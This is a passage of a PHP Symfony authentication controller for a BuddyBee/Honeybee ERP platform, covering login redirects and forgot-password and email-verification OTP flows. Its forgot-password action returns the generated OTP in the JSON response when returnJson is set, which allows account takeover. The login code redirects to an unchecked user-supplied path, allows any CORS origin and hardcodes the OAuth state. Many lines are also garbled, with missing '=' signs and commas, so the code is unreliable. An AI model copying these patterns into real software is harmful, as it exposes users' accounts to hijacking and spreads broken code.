  7730. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7731.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7732.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7733.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7734.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7735.                                 $d = array(
  7736.                                     'userType' => $thisUserUserType,
  7737. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7738.                                     'userTypeName' => $userTypeName,
  7739.                                     'globalId' => $globalId,
  7740.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7741.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7742.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7743.                                     'systemType' => '_ERP_',
  7744.                                     'companyId' => 1,
  7745.                                     'appId' => $thisUserAppId,
  7746.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7747.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7748.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7749.                                             array(
  7750.                                                 'globalId' => $globalId,
  7751.                                                 'appId' => $thisUserAppId,
  7752.                                                 'authenticate' => 1,
  7753.                                                 'userType' => $thisUserUserType,
  7754.                                                 'userTypeName' => $userTypeName
  7755.                                             )
  7756.                                         )
  7757.                                     ),
  7758.                                     'userCompanyList' => [
  7759.                                     ]
  7760.                                 );
  7761.                                 $accessList[] = $d;
  7762.                             }
  7763.                         }
  7764.                     }
  7765.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7766.                     $session_data['userAccessList'] = $accessList;
  7767.                     $session->set('userAccessList'json_encode($accessList));
  7768.                     $session_data $this->filterClientSessionData($session_data);
  7769.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7770.                     $session_data $tokenData['sessionData'];
  7771.                     $token $tokenData['token'];
  7772.                     $session->set('token'$token);
  7773.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7774.                         $session->set('remoteVerified'1);
  7775.                         $response = new JsonResponse(array(
  7776.                             'token' => $token,
  7777.                             'uid' => $session->get(UserConstants::USER_ID),
  7778.                             'session' => $session,
  7779.                             'success' => true,
  7780.                             'session_data' => $session_data,
  7781.                         ));
  7782.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7783.                         return $response;
  7784.                     }
  7785.                     if ($request->request->has('referer_path')) {
  7786.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7787.                             return $this->redirect($request->request->get('referer_path'));
  7788.                         }
  7789.                     }
  7790.                     $redirectRoute 'applicant_dashboard';
  7791.                     if ($request->query->has('encData')) {
  7792.                         if ($request->query->get('encData') == '8917922')
  7793.                             $redirectRoute 'apply_for_consultant';
  7794.                     }
  7795.                     return $this->redirectToRoute($redirectRoute);
  7796.                 }
  7797. //                    $response = new JsonResponse(array(
  7798. //                        'token' => $token,
  7799. //                        'uid' => $session->get(UserConstants::USER_ID),
  7800. //                        'session' => $session,
  7801. //
  7802. //                        'success' => true,
  7803. //                        'session_data' => $session_data,
  7804. //
  7805. //                    ));
  7806. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7807. //                    return $response;
  7808. //                    return $this->redirectToRoute("user_login", [
  7809. //                        'id' => $isApplicantExist->getApplicantId(),
  7810. //                        'oAuthData' => $oAuthData,
  7811. //                        'encData' => $encData,
  7812. //                        'locale' => $request->request->get('locale', 'en'),
  7813. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7814. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7815. //                    ]);
  7816.             }
  7817.         }
  7818.         $selector BuddybeeConstant::$selector;
  7819.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7820.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7821.         if ($systemType == '_ERP_') {
  7822.         } else if ($systemType == '_SOPHIA_') {
  7823.             return $this->render(
  7824.                 '@Sophia/pages/views/sofia_login.html.twig',
  7825.                 [
  7826.                     'page_title' => 'Sophia Login',
  7827.                     'oAuthLink' => $google_client->createAuthUrl(),
  7828.                     'redirect_url' => $url,
  7829.                     'message' => $message,
  7830.                     'systemType' => $systemType,
  7831.                     'ownServerId' => $ownServerId,
  7832.                     'errorField' => '',
  7833.                     'encData' => $encData,
  7834.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7835.                     'selector' => $selector,
  7836.                 ]
  7837.             );
  7838.         } else if ($systemType == '_CENTRAL_') {
  7839.             return $this->render(
  7840.                 '@Authentication/pages/views/central_login.html.twig',
  7841.                 [
  7842.                     'page_title' => 'Central Login',
  7843.                     'oAuthLink' => $google_client->createAuthUrl(),
  7844.                     'redirect_url' => $url,
  7845.                     'message' => $message,
  7846.                     'systemType' => $systemType,
  7847.                     'ownServerId' => $ownServerId,
  7848.                     'errorField' => '',
  7849.                     'encData' => $encData,
  7850.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7851.                     'selector' => $selector,
  7852.                 ]
  7853.             );
  7854.         } else if ($systemType == '_BUDDYBEE_') {
  7855.             return $this->render(
  7856.                 '@Authentication/pages/views/applicant_login.html.twig',
  7857.                 [
  7858.                     'page_title' => 'BuddyBee Login',
  7859.                     'oAuthLink' => $google_client->createAuthUrl(),
  7860.                     'redirect_url' => $url,
  7861.                     'message' => $message,
  7862.                     'errorField' => $errorField,
  7863.                     'encData' => $encData,
  7864.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7865.                     'selector' => $selector
  7866.                 ]
  7867.             );
  7868.         }
  7869.         return $this->render(
  7870.             '@Authentication/pages/views/applicant_login.html.twig',
  7871.             [
  7872.                 'page_title' => 'Applicant Registration',
  7873.                 'oAuthLink' => $google_client->createAuthUrl(),
  7874.                 'redirect_url' => $url,
  7875.                 'encData' => $encData,
  7876.                 'message' => $message,
  7877.                 'errorField' => $errorField,
  7878.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7879.                 'selector' => $selector
  7880.             ]
  7881.         );
  7882.     }
  7883.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7884.     {
  7885. //        $userCategory=$request->request->has('userCategory');
  7886.         $encryptedData = [];
  7887.         $errorField '';
  7888.         $message '';
  7889.         $userType '';
  7890.         $otpExpireSecond 180;
  7891.         $otpExpireTs 0;
  7892.         $otp '';
  7893.         if ($encData != '')
  7894.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7895. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7896.         $userCategory '_BUDDYBEE_USER_';
  7897.         if (isset($encryptedData['userCategory']))
  7898.             $userCategory $encryptedData['userCategory'];
  7899.         else
  7900.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7901.         $em $this->getDoctrine()->getManager('company_group');
  7902.         $em_goc $this->getDoctrine()->getManager('company_group');
  7903.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7904.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7905.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7906.         $twigData = [];
  7907.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7908.         $email_address $request->request->get('email''');
  7909.         $email_twig_data = [];
  7910.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7911.         if ($request->isMethod('POST')) {
  7912.             //set an otp and its expire and send mail
  7913.             $email_address $request->request->get('email');
  7914.             $userObj null;
  7915.             $userData = [];
  7916.             if ($systemType == '_ERP_') {
  7917.                 if ($userCategory == '_APPLICANT_') {
  7918.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7919.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7920.                         array(
  7921.                             'email' => $email_address
  7922.                         )
  7923.                     );
  7924.                     if ($userObj) {
  7925.                     } else {
  7926.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7927.                             array(
  7928.                                 'oAuthEmail' => $email_address
  7929.                             )
  7930.                         );
  7931.                         if ($userObj) {
  7932.                         } else {
  7933.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7934.                                 array(
  7935.                                     'username' => $email_address
  7936.                                 )
  7937.                             );
  7938.                         }
  7939.                     }
  7940.                     if ($userObj) {
  7941.                         $email_address $userObj->getEmail();
  7942.                         if ($email_address == null || $email_address == '')
  7943.                             $email_address $userObj->getOAuthEmail();
  7944.                     }
  7945. //                    triggerResetPassword:
  7946. //                    type: integer
  7947. //                          nullable: true
  7948.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7949.                     $otp $otpData['otp'];
  7950.                     $otpExpireTs $otpData['expireTs'];
  7951.                     $userObj->setOtp($otpData['otp']);
  7952.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7953.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7954.                     $em_goc->flush();
  7955.                     $userData = array(
  7956.                         'id' => $userObj->getApplicantId(),
  7957.                         'email' => $email_address,
  7958.                         'appId' => 0,
  7959. //                        'appId'=>$userObj->getUserAppId(),
  7960.                     );
  7961.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7962.                     $email_twig_data = [
  7963.                         'page_title' => 'Find Account',
  7964.                         'encryptedData' => $encryptedData,
  7965.                         'message' => $message,
  7966.                         'userType' => $userType,
  7967.                         'errorField' => $errorField,
  7968.                         'otp' => $otpData['otp'],
  7969.                         'otpExpireSecond' => $otpExpireSecond,
  7970.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7971.                         'otpExpireTs' => $otpData['expireTs'],
  7972.                         'systemType' => $systemType,
  7973.                         'userData' => $userData
  7974.                     ];
  7975.                     if ($userObj)
  7976.                         $email_twig_data['success'] = true;
  7977.                 } else {
  7978.                     $userType UserConstants::USER_TYPE_GENERAL;
  7979.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7980.                     $email_twig_data = [
  7981.                         'page_title' => 'Find Account',
  7982.                         'encryptedData' => $encryptedData,
  7983.                         'message' => $message,
  7984.                         'userType' => $userType,
  7985.                         'errorField' => $errorField,
  7986.                     ];
  7987.                 }
  7988.             } else if ($systemType == '_CENTRAL_') {
  7989.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7990.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7991.                     array(
  7992.                         'email' => $email_address
  7993.                     )
  7994.                 );
  7995.                 if ($userObj) {
  7996.                 } else {
  7997.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7998.                         array(
  7999.                             'oAuthEmail' => $email_address
  8000.                         )
  8001.                     );
  8002.                     if ($userObj) {
  8003.                     } else {
  8004.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8005.                             array(
  8006.                                 'username' => $email_address
  8007.                             )
  8008.                         );
  8009.                     }
  8010.                 }
  8011.                 if ($userObj) {
  8012.                     $email_address $userObj->getEmail();
  8013.                     if ($email_address == null || $email_address == '')
  8014.                         $email_address $userObj->getOAuthEmail();
  8015.                     //                    triggerResetPassword:
  8016. //                    type: integer
  8017. //                          nullable: true
  8018.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8019.                     $otp $otpData['otp'];
  8020.                     $otpExpireTs $otpData['expireTs'];
  8021.                     $userObj->setOtp($otpData['otp']);
  8022.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8023.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8024.                     $em_goc->flush();
  8025.                     $userData = array(
  8026.                         'id' => $userObj->getApplicantId(),
  8027.                         'email' => $email_address,
  8028.                         'appId' => 0,
  8029.                         'image' => $userObj->getImage(),
  8030.                         'firstName' => $userObj->getFirstname(),
  8031.                         'lastName' => $userObj->getLastname(),
  8032.                         'phone' => $userObj->getPhone(),
  8033. //                        'appId'=>$userObj->getUserAppId(),
  8034.                     );
  8035.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8036.                     $email_twig_data = [
  8037.                         'page_title' => 'Find Account',
  8038.                         'encryptedData' => $encryptedData,
  8039.                         'message' => $message,
  8040.                         'userType' => $userType,
  8041.                         'errorField' => $errorField,
  8042.                         'otp' => $otpData['otp'],
  8043.                         'otpExpireSecond' => $otpExpireSecond,
  8044.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8045.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8046.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8047.                         'otpExpireTs' => $otpData['expireTs'],
  8048.                         'systemType' => $systemType,
  8049.                         'userCategory' => $userCategory,
  8050.                         'userData' => $userData
  8051.                     ];
  8052.                     $email_twig_data['success'] = true;
  8053.                 } else {
  8054.                     $message "Oops! Could not find your account";
  8055.                     $email_twig_data['success'] = false;
  8056.                 }
  8057.             } else if ($systemType == '_BUDDYBEE_') {
  8058.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8059.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8060.                     array(
  8061.                         'email' => $email_address
  8062.                     )
  8063.                 );
  8064.                 if ($userObj) {
  8065.                 } else {
  8066.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8067.                         array(
  8068.                             'oAuthEmail' => $email_address
  8069.                         )
  8070.                     );
  8071.                     if ($userObj) {
  8072.                     } else {
  8073.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8074.                             array(
  8075.                                 'username' => $email_address
  8076.                             )
  8077.                         );
  8078.                     }
  8079.                 }
  8080.                 if ($userObj) {
  8081.                     $email_address $userObj->getEmail();
  8082.                     if ($email_address == null || $email_address == '')
  8083.                         $email_address $userObj->getOAuthEmail();
  8084.                     //                    triggerResetPassword:
  8085. //                    type: integer
  8086. //                          nullable: true
  8087.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8088.                     $otp $otpData['otp'];
  8089.                     $otpExpireTs $otpData['expireTs'];
  8090.                     $userObj->setOtp($otpData['otp']);
  8091.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8092.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8093.                     $em_goc->flush();
  8094.                     $userData = array(
  8095.                         'id' => $userObj->getApplicantId(),
  8096.                         'email' => $email_address,
  8097.                         'appId' => 0,
  8098.                         'image' => $userObj->getImage(),
  8099.                         'firstName' => $userObj->getFirstname(),
  8100.                         'lastName' => $userObj->getLastname(),
  8101.                         'phone' => $userObj->getPhone(),
  8102. //                        'appId'=>$userObj->getUserAppId(),
  8103.                     );
  8104.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8105.                     $email_twig_data = [
  8106.                         'page_title' => 'Find Account',
  8107.                         'encryptedData' => $encryptedData,
  8108.                         'message' => $message,
  8109.                         'userType' => $userType,
  8110.                         'errorField' => $errorField,
  8111.                         'otp' => $otpData['otp'],
  8112.                         'otpExpireSecond' => $otpExpireSecond,
  8113.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8114.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8115.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8116.                         'otpExpireTs' => $otpData['expireTs'],
  8117.                         'systemType' => $systemType,
  8118.                         'userCategory' => $userCategory,
  8119.                         'userData' => $userData
  8120.                     ];
  8121.                     $email_twig_data['success'] = true;
  8122.                 } else {
  8123.                     $message "Oops! Could not find your account";
  8124.                     $email_twig_data['success'] = false;
  8125.                 }
  8126.             }
  8127.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8128.                 if ($systemType == '_BUDDYBEE_') {
  8129.                     $bodyHtml '';
  8130.                     $bodyTemplate $email_twig_file;
  8131.                     $bodyData $email_twig_data;
  8132.                     $attachments = [];
  8133.                     $forwardToMailAddress $email_address;
  8134. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8135.                     $new_mail $this->get('mail_module');
  8136.                     $new_mail->sendMyMail(array(
  8137.                         'senderHash' => '_CUSTOM_',
  8138.                         //                        'senderHash'=>'_CUSTOM_',
  8139.                         'forwardToMailAddress' => $forwardToMailAddress,
  8140.                         'subject' => 'Account Verification',
  8141. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8142.                         'attachments' => $attachments,
  8143.                         'toAddress' => $forwardToMailAddress,
  8144.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8145.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8146.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8147.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8148.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8149. //                            'emailBody' => $bodyHtml,
  8150.                         'mailTemplate' => $bodyTemplate,
  8151.                         'templateData' => $bodyData,
  8152. //                        'embedCompanyImage' => 1,
  8153. //                        'companyId' => $companyId,
  8154. //                        'companyImagePath' => $company_data->getImage()
  8155.                     ));
  8156.                 } else if ($systemType == '_CENTRAL_') {
  8157.                     $bodyHtml '';
  8158.                     $bodyTemplate $email_twig_file;
  8159.                     $bodyData $email_twig_data;
  8160.                     $attachments = [];
  8161.                     $forwardToMailAddress $email_address;
  8162. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8163.                     $new_mail $this->get('mail_module');
  8164.                     $new_mail->sendMyMail(array(
  8165.                         'senderHash' => '_CUSTOM_',
  8166.                         //                        'senderHash'=>'_CUSTOM_',
  8167.                         'forwardToMailAddress' => $forwardToMailAddress,
  8168.                         'subject' => 'Account Verification',
  8169. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8170.                         'attachments' => $attachments,
  8171.                         'toAddress' => $forwardToMailAddress,
  8172.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8173.                         'userName' => 'accounts@ourhoneybee.eu',
  8174.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8175.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8176.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8177. //                            'emailBody' => $bodyHtml,
  8178.                         'mailTemplate' => $bodyTemplate,
  8179.                         'templateData' => $bodyData,
  8180. //                        'embedCompanyImage' => 1,
  8181. //                        'companyId' => $companyId,
  8182. //                        'companyImagePath' => $company_data->getImage()
  8183.                     ));
  8184.                 } else {
  8185.                     $bodyHtml '';
  8186.                     $bodyTemplate $email_twig_file;
  8187.                     $bodyData $email_twig_data;
  8188.                     $attachments = [];
  8189.                     $forwardToMailAddress $email_address;
  8190. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8191.                     $new_mail $this->get('mail_module');
  8192.                     $new_mail->sendMyMail(array(
  8193.                         'senderHash' => '_CUSTOM_',
  8194.                         //                        'senderHash'=>'_CUSTOM_',
  8195.                         'forwardToMailAddress' => $forwardToMailAddress,
  8196.                         'subject' => 'Applicant Registration on Honeybee',
  8197. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8198.                         'attachments' => $attachments,
  8199.                         'toAddress' => $forwardToMailAddress,
  8200.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8201.                         'userName' => 'accounts@ourhoneybee.eu',
  8202.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8203.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8204.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8205.                         'emailBody' => $bodyHtml,
  8206.                         'mailTemplate' => $bodyTemplate,
  8207.                         'templateData' => $bodyData,
  8208. //                        'embedCompanyImage' => 1,
  8209. //                        'companyId' => $companyId,
  8210. //                        'companyImagePath' => $company_data->getImage()
  8211.                     ));
  8212.                 }
  8213.             }
  8214.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8215.                 if ($systemType == '_BUDDYBEE_') {
  8216.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8217.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8218.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8219.                      _APPEND_CODE_';
  8220.                     $msg str_replace($searchVal$replaceVal$msg);
  8221.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8222.                     $sendType 'all';
  8223.                     $socketUserIds = [];
  8224.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8225.                 } else {
  8226.                 }
  8227.             }
  8228.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8229.                 $response = new JsonResponse(array(
  8230.                         'templateData' => $twigData,
  8231.                         'message' => $message,
  8232. //                        "otp"=>'',
  8233.                         "otp" => $otp,
  8234.                         "otpExpireTs" => $otpExpireTs,
  8235.                         'actionData' => $email_twig_data,
  8236.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8237.                     )
  8238.                 );
  8239.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8240.                 return $response;
  8241.             } else if ($email_twig_data['success'] == true) {
  8242.                 $encData = array(
  8243.                     "userType" => $userType,
  8244.                     "otp" => '',
  8245. //                "otp"=>$otp,
  8246.                     "otpExpireTs" => $otpExpireTs,
  8247.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8248.                     "userCategory" => $userCategory,
  8249.                     "userId" => $userData['id'],
  8250.                     "systemType" => $systemType,
  8251.                     "email" => $email_address,
  8252.                 );
  8253.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8254.                 $url $this->generateUrl(
  8255.                     'verify_otp'
  8256.                 );
  8257.                 return $this->redirect($url "/" $encDataStr);
  8258. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8259. ////                    'encData'
  8260. ////                'id' => $isApplicantExist->getApplicantId(),
  8261. ////                'oAuthData' => $oAuthData,
  8262. ////                'refRoute' => $refRoute,
  8263. //                ]);
  8264.             }
  8265.         }
  8266.         if ($systemType == '_ERP_') {
  8267.             if ($userCategory == '_APPLICANT_') {
  8268.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8269.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8270.                 $twigData = [
  8271.                     'page_title' => 'Find Account',
  8272.                     'encryptedData' => $encryptedData,
  8273.                     'message' => $message,
  8274.                     'systemType' => $systemType,
  8275.                     'ownServerId' => $ownServerId,
  8276.                     'userType' => $userType,
  8277.                     'errorField' => $errorField,
  8278.                 ];
  8279.             } else {
  8280.                 $userType UserConstants::USER_TYPE_GENERAL;
  8281.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8282.                 $twigData = [
  8283.                     'page_title' => 'Find Account',
  8284.                     'encryptedData' => $encryptedData,
  8285.                     'systemType' => $systemType,
  8286.                     'ownServerId' => $ownServerId,
  8287.                     'message' => $message,
  8288.                     'userType' => $userType,
  8289.                     'errorField' => $errorField,
  8290.                 ];
  8291.             }
  8292.         } else if ($systemType == '_CENTRAL_') {
  8293.             $userType UserConstants::USER_TYPE_APPLICANT;
  8294.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8295.             $twigData = [
  8296.                 'page_title' => 'Find Account',
  8297.                 'encryptedData' => $encryptedData,
  8298.                 'systemType' => $systemType,
  8299.                 'ownServerId' => $ownServerId,
  8300.                 "otp" => '',
  8301. //                "otp"=>$otp,
  8302.                 "otpExpireTs" => $otpExpireTs,
  8303.                 'message' => $message,
  8304.                 'userType' => $userType,
  8305.                 'errorField' => $errorField,
  8306.             ];
  8307.         } else if ($systemType == '_BUDDYBEE_') {
  8308.             $userType UserConstants::USER_TYPE_APPLICANT;
  8309.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8310.             $twigData = [
  8311.                 'page_title' => 'Find Account',
  8312.                 'encryptedData' => $encryptedData,
  8313.                 "otp" => '',
  8314.                 'systemType' => $systemType,
  8315.                 'ownServerId' => $ownServerId,
  8316. //                "otp"=>$otp,
  8317.                 "otpExpireTs" => $otpExpireTs,
  8318.                 'message' => $message,
  8319.                 'userType' => $userType,
  8320.                 'errorField' => $errorField,
  8321.             ];
  8322.         }
  8323.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8324.             $response = new JsonResponse(array(
  8325.                     'templateData' => $twigData,
  8326.                     'message' => $message,
  8327.                     "otp" => '',
  8328. //                "otp"=>$otp,
  8329.                     "otpExpireTs" => $otpExpireTs,
  8330.                     'actionData' => $email_twig_data,
  8331.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8332.                 )
  8333.             );
  8334.             $response->headers->set('Access-Control-Allow-Origin''*');
  8335.             return $response;
  8336.         } else {
  8337.             return $this->render(
  8338.                 $twig_file,
  8339.                 $twigData
  8340.             );
  8341.         }
  8342.     }
  8343.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8344.     {
  8345. //        $userCategory=$request->request->has('userCategory');
  8346.         $encryptedData = [];
  8347.         $errorField '';
  8348.         $message '';
  8349.         $userType '';
  8350.         $otpExpireSecond 180;
  8351.         $otpExpireTs 0;
  8352.         $otp '';
  8353.         if ($encData != '')
  8354.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8355. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8356.         $userCategory '_BUDDYBEE_USER_';
  8357.         if (isset($encryptedData['userCategory']))
  8358.             $userCategory $encryptedData['userCategory'];
  8359.         else
  8360.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8361.         $em $this->getDoctrine()->getManager('company_group');
  8362.         $em_goc $this->getDoctrine()->getManager('company_group');
  8363.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8364.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8365.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8366.         $twigData = [];
  8367.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8368.         $email_address $request->request->get('email''');
  8369.         $email_twig_data = [];
  8370.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8371.         if ($request->isMethod('POST')) {
  8372.             //set an otp and its expire and send mail
  8373.             $email_address $request->request->get('email');
  8374.             $userObj null;
  8375.             $userData = [];
  8376.             if ($systemType == '_ERP_') {
  8377.                 if ($userCategory == '_APPLICANT_') {
  8378.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8379.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8380.                         array(
  8381.                             'email' => $email_address
  8382.                         )
  8383.                     );
  8384.                     if ($userObj) {
  8385.                     } else {
  8386.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8387.                             array(
  8388.                                 'oAuthEmail' => $email_address
  8389.                             )
  8390.                         );
  8391.                         if ($userObj) {
  8392.                         } else {
  8393.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8394.                                 array(
  8395.                                     'username' => $email_address
  8396.                                 )
  8397.                             );
  8398.                         }
  8399.                     }
  8400.                     if ($userObj) {
  8401.                         $email_address $userObj->getEmail();
  8402.                         if ($email_address == null || $email_address == '')
  8403.                             $email_address $userObj->getOAuthEmail();
  8404.                     }
  8405. //                    triggerResetPassword:
  8406. //                    type: integer
  8407. //                          nullable: true
  8408.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8409.                     $otp $otpData['otp'];
  8410.                     $otpExpireTs $otpData['expireTs'];
  8411.                     $userObj->setOtp($otpData['otp']);
  8412.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8413.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8414.                     $em_goc->flush();
  8415.                     $userData = array(
  8416.                         'id' => $userObj->getApplicantId(),
  8417.                         'email' => $email_address,
